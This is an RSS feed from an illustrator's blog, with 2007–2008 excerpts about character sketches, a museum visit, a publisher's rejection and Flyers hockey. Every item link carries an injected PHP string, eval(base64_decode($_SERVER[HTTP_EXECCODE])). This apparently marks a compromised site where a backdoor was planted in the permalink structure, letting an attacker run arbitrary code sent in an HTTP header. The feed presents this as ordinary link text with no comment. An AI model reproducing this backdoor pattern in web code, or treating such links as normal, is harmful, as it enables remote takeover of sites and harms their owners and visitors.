http://www.josephblake.com/stones . . . Mon, 18 Aug 2008 23:20:47 +0000 http://backend.userland.com/rss092 en http://www.josephblake.com/stones/2008/02/21/february/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... for this morning's sketches, I combined a few choice characteristics of a possum, a bear, and a bit of sloth. Creating the look of my new character was difficult because I had so many options, and I wanted to make it believable. My first attempts resulted in spending too ... http://www.josephblake.com/stones/2008/01/08/pears/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... if I could be present, floating in the background of one musical moment in time, I'd want to witness U2 conceiving the song "With or Without You". The runner up moment would be experiencing Hans Zimmer's musical score of Disney's the Lion King for the first time. Anyways, here are my ... http://www.josephblake.com/stones/2008/01/05/one-musical-moment/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/       http://www.josephblake.com/stones/2007/12/29/new-sketches/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... belly-full and very satisfied with this year's Christmas. And here are the new animal sketches... http://www.josephblake.com/stones/2007/12/25/66/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... yesterday, I needed a breath of fresh air from my studio, so I visited the Brandywine River Museum. It is a treasure trove of original children's book illustrations, including my favorite pictures by Maxfield Parrish, Howard Pyle, and N.C. Wyeth. I'd easily give up one of my dogs to ... http://www.josephblake.com/stones/2007/12/06/grumpy-faces-and-snow/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... sketches for this morning. Two beings who know they can be the most intimidating things ever... http://www.josephblake.com/stones/2007/12/04/lions-girls/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... a little while back I received my first rejection letter from one of the BIG STOMPERS in the children's book publishing world. In the same week I was turned away by a children's book illustrator rep, because I didn't show enough faces in my pictures. I felt like a freshmen ... http://www.josephblake.com/stones/2007/11/28/one-new-person-and-one-animal/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... a while ago I said a prayer and I wasn't sure if it would be answered, but I needed to say something to someone... And today, I randomly had a very good day. So I looked up at the sky and searched for a face to thank... but I ... http://www.josephblake.com/stones/2007/11/21/thank-you/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... unwanted pumpkins, good ol' Windsor & Newton acrylic, and a belly full of pre-game candy kept me smiling this morning... http://www.josephblake.com/stones/2007/10/29/bring-em-out-bring-em-out-lets-see-those-pumpkins/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ ... new head coach John Stevens loads the gun this year with two bullies named Riley Cote and Ben Eager... All hail the new skipper, Jason Smith, and our two new soft-spoken heroes Danny Briere and Marty Biron... we're not worthy, we're not worthy, we're ... http://www.josephblake.com/stones/2007/10/04/philadelphia-flyers-hockey/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/